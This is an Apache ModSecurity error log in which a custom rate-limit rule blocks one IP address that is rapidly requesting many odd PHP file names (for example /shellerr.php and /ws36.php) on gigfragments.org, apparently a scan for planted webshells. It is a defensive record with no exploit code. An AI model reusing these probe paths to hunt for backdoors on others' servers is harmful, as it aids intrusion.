[Fri Mar 27 19:07:24.530129 2026] [:error] [pid 27750:tid 27825] [client 158.158.32.90:51983] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tbute.php"] [unique_id "acZk7IaSil5rd17ieLzmGQAAAIc"]
[Fri Mar 27 19:07:25.318193 2026] [:error] [pid 27749:tid 27807] [client 158.158.32.90:29348] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rovoj.php"] [unique_id "acZk7cEqyoMni2Q6_X7osQAAAFA"]
[Fri Mar 27 19:07:25.900591 2026] [:error] [pid 4341:tid 4361] [client 158.158.32.90:55699] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rovoj.php"] [unique_id "acZk7eKJWrNB5dMlERGMTwAAAZI"]
[Fri Mar 27 19:07:26.457250 2026] [:error] [pid 27851:tid 27862] [client 158.158.32.90:22424] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rovoj.php"] [unique_id "acZk7nR2ccxe3RMCLbrh3QAAAMQ"]
[Fri Mar 27 19:07:27.244808 2026] [:error] [pid 27743:tid 27786] [client 158.158.32.90:26813] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rovoj.php"] [unique_id "acZk7yA46UYYLqzw99DF4wAAABY"]
[Fri Mar 27 19:07:27.842027 2026] [:error] [pid 27851:tid 27865] [client 158.158.32.90:29318] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r3grt7.php"] [unique_id "acZk73R2ccxe3RMCLbrh3gAAAMc"]
[Fri Mar 27 19:07:28.785817 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:26787] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r3grt7.php"] [unique_id "acZk8JLjeJUC3OKtEx9adAAAAUY"]
[Fri Mar 27 19:07:29.629364 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:29346] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r3grt7.php"] [unique_id "acZk8SA46UYYLqzw99DF5wAAAAM"]
[Fri Mar 27 19:07:30.564556 2026] [:error] [pid 4341:tid 4351] [client 158.158.32.90:55729] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r3grt7.php"] [unique_id "acZk8uKJWrNB5dMlERGMVwAAAYg"]
[Fri Mar 27 19:07:31.253793 2026] [:error] [pid 4341:tid 4348] [client 158.158.32.90:27492] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phina.php"] [unique_id "acZk8-KJWrNB5dMlERGMWQAAAYU"]
[Fri Mar 27 19:07:32.134557 2026] [:error] [pid 27750:tid 27829] [client 158.158.32.90:27477] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phina.php"] [unique_id "acZk9IaSil5rd17ieLzmKQAAAIs"]
[Fri Mar 27 19:07:33.023898 2026] [:error] [pid 27750:tid 27823] [client 158.158.32.90:33257] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phina.php"] [unique_id "acZk9YaSil5rd17ieLzmLQAAAIU"]
[Fri Mar 27 19:07:33.859500 2026] [:error] [pid 4341:tid 4363] [client 158.158.32.90:40979] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phina.php"] [unique_id "acZk9eKJWrNB5dMlERGMXAAAAZQ"]
[Fri Mar 27 19:07:34.465673 2026] [:error] [pid 4341:tid 4343] [client 158.158.32.90:23740] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "acZk9uKJWrNB5dMlERGMXQAAAYA"]
[Fri Mar 27 19:07:35.957707 2026] [:error] [pid 27750:tid 27818] [client 158.158.32.90:22427] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "acZk94aSil5rd17ieLzmMgAAAIA"]
[Fri Mar 27 19:07:36.530981 2026] [:error] [pid 27851:tid 27871] [client 158.158.32.90:46258] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "acZk-HR2ccxe3RMCLbrh8QAAAM0"]
[Fri Mar 27 19:07:37.206121 2026] [:error] [pid 4341:tid 4356] [client 158.158.32.90:29364] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "acZk-eKJWrNB5dMlERGMZQAAAY0"]
[Fri Mar 27 19:07:37.858773 2026] [:error] [pid 4341:tid 4353] [client 158.158.32.90:59954] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "acZk-eKJWrNB5dMlERGMZwAAAYo"]
[Fri Mar 27 19:07:38.865078 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:27459] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "acZk-pLjeJUC3OKtEx9aeQAAAVU"]
[Fri Mar 27 19:07:39.671217 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:40995] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "acZk-5LjeJUC3OKtEx9afQAAAVE"]
[Fri Mar 27 19:07:40.849827 2026] [:error] [pid 27743:tid 27770] [client 158.158.32.90:59271] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "acZk_CA46UYYLqzw99DF6gAAAAY"]
[Fri Mar 27 19:07:41.728425 2026] [:error] [pid 4341:tid 4356] [client 158.158.32.90:27491] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "acZk_eKJWrNB5dMlERGMcAAAAY0"]
[Fri Mar 27 19:07:42.696005 2026] [:error] [pid 4341:tid 4364] [client 158.158.32.90:54080] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "acZk_uKJWrNB5dMlERGMdAAAAZU"]
[Fri Mar 27 19:07:43.255973 2026] [:error] [pid 4341:tid 4354] [client 158.158.32.90:63959] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "acZk_-KJWrNB5dMlERGMeAAAAYs"]
[Fri Mar 27 19:07:44.249556 2026] [:error] [pid 4341:tid 4363] [client 158.158.32.90:54140] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "acZlAOKJWrNB5dMlERGMfAAAAZQ"]
[Fri Mar 27 19:07:45.589682 2026] [:error] [pid 27851:tid 27861] [client 158.158.32.90:46237] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "acZlAXR2ccxe3RMCLbrh-gAAAMM"]
[Fri Mar 27 19:07:47.136045 2026] [:error] [pid 4293:tid 4303] [client 158.158.32.90:53348] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "acZlA5LjeJUC3OKtEx9aiwAAAUg"]
[Fri Mar 27 19:07:48.034550 2026] [:error] [pid 27743:tid 27785] [client 158.158.32.90:63984] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "acZlBCA46UYYLqzw99DF9AAAABU"]
[Fri Mar 27 19:07:48.863777 2026] [:error] [pid 63897:tid 63901] [client 158.158.32.90:59904] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "acZlBGVSkmYmLu7ycYg9pgAAAQI"]
[Fri Mar 27 19:07:49.695053 2026] [:error] [pid 4341:tid 4348] [client 158.158.32.90:27479] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/595.php"] [unique_id "acZlBeKJWrNB5dMlERGMgQAAAYU"]
[Fri Mar 27 19:07:50.558071 2026] [:error] [pid 27851:tid 27875] [client 158.158.32.90:55705] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/595.php"] [unique_id "acZlBnR2ccxe3RMCLbriCQAAANE"]
[Fri Mar 27 19:07:51.388572 2026] [:error] [pid 4293:tid 4319] [client 158.158.32.90:59285] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/595.php"] [unique_id "acZlB5LjeJUC3OKtEx9ajQAAAVg"]
[Fri Mar 27 19:07:52.858836 2026] [:error] [pid 4293:tid 4297] [client 158.158.32.90:55730] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/595.php"] [unique_id "acZlCJLjeJUC3OKtEx9alAAAAUI"]
[Fri Mar 27 19:08:11.736117 2026] [:error] [pid 27743:tid 27778] [client 158.158.32.90:41008] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws40.php"] [unique_id "acZlGyA46UYYLqzw99DGMQAAAA4"]
[Fri Mar 27 19:08:36.995402 2026] [:error] [pid 27743:tid 27779] [client 158.158.32.90:59310] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws36.php"] [unique_id "acZlNCA46UYYLqzw99DGZQAAAA8"]
[Fri Mar 27 19:08:38.104080 2026] [:error] [pid 27743:tid 27768] [client 158.158.32.90:60595] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws36.php"] [unique_id "acZlNiA46UYYLqzw99DGZwAAAAQ"]
[Fri Mar 27 19:08:38.811545 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:63921] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws36.php"] [unique_id "acZlNiA46UYYLqzw99DGawAAABE"]
[Fri Mar 27 19:08:39.517245 2026] [:error] [pid 27743:tid 27782] [client 158.158.32.90:62676] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws36.php"] [unique_id "acZlNyA46UYYLqzw99DGbwAAABI"]
[Fri Mar 27 19:08:40.062054 2026] [:error] [pid 27743:tid 27769] [client 158.158.32.90:60604] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vwxbi.php"] [unique_id "acZlOCA46UYYLqzw99DGcAAAAAU"]
[Fri Mar 27 19:08:40.731490 2026] [:error] [pid 27743:tid 27780] [client 158.158.32.90:33253] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vwxbi.php"] [unique_id "acZlOCA46UYYLqzw99DGdgAAABA"]
[Fri Mar 27 19:08:41.310656 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:27440] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vwxbi.php"] [unique_id "acZlOSA46UYYLqzw99DGdwAAABE"]
[Fri Mar 27 19:08:41.897975 2026] [:error] [pid 63897:tid 63920] [client 158.158.32.90:62707] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vwxbi.php"] [unique_id "acZlOWVSkmYmLu7ycYg90gAAARU"]
[Fri Mar 27 19:08:42.444967 2026] [:error] [pid 27851:tid 27874] [client 158.158.32.90:53329] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "acZlOnR2ccxe3RMCLbriSwAAANA"]
[Fri Mar 27 19:08:43.031576 2026] [:error] [pid 4341:tid 4345] [client 158.158.32.90:46212] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "acZlO-KJWrNB5dMlERGM1gAAAYI"]
[Fri Mar 27 19:08:43.822667 2026] [:error] [pid 4293:tid 4319] [client 158.158.32.90:53330] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "acZlO5LjeJUC3OKtEx9a-gAAAVg"]
[Fri Mar 27 19:08:44.356030 2026] [:error] [pid 27743:tid 27768] [client 158.158.32.90:60574] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellerr.php"] [unique_id "acZlPCA46UYYLqzw99DGggAAAAQ"]
[Fri Mar 27 19:08:44.864536 2026] [:error] [pid 4293:tid 4318] [client 158.158.32.90:60589] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vaza.php"] [unique_id "acZlPJLjeJUC3OKtEx9a_wAAAVc"]
[Fri Mar 27 19:08:45.393363 2026] [:error] [pid 27743:tid 27787] [client 158.158.32.90:60603] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vaza.php"] [unique_id "acZlPSA46UYYLqzw99DGhQAAABc"]
[Fri Mar 27 19:08:45.951311 2026] [:error] [pid 27743:tid 27778] [client 158.158.32.90:60016] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vaza.php"] [unique_id "acZlPSA46UYYLqzw99DGiAAAAA4"]
[Fri Mar 27 19:08:46.442892 2026] [:error] [pid 27743:tid 27775] [client 158.158.32.90:63962] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vaza.php"] [unique_id "acZlPiA46UYYLqzw99DGiwAAAAs"]
[Fri Mar 27 19:08:47.007363 2026] [:error] [pid 27750:tid 27831] [client 158.158.32.90:59974] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cvz.php"] [unique_id "acZlP4aSil5rd17ieLzmTwAAAI0"]
[Fri Mar 27 19:08:47.548847 2026] [:error] [pid 4293:tid 4295] [client 158.158.32.90:41042] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cvz.php"] [unique_id "acZlP5LjeJUC3OKtEx9bBgAAAUA"]
[Fri Mar 27 19:08:48.239444 2026] [:error] [pid 27743:tid 27775] [client 158.158.32.90:41077] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cvz.php"] [unique_id "acZlQCA46UYYLqzw99DGlAAAAAs"]
[Fri Mar 27 19:08:48.884761 2026] [:error] [pid 27749:tid 27803] [client 158.158.32.90:43515] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cvz.php"] [unique_id "acZlQMEqyoMni2Q6_X7o_QAAAEw"]
[Fri Mar 27 19:08:50.201440 2026] [:error] [pid 63897:tid 63905] [client 158.158.32.90:63906] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acZlQmVSkmYmLu7ycYg91QAAAQY"]
[Fri Mar 27 19:08:52.142202 2026] [:error] [pid 4293:tid 4297] [client 158.158.32.90:43516] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acZlRJLjeJUC3OKtEx9bDAAAAUI"]
[Fri Mar 27 19:08:53.260335 2026] [:error] [pid 27749:tid 27791] [client 158.158.32.90:40963] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acZlRcEqyoMni2Q6_X7o_wAAAEA"]
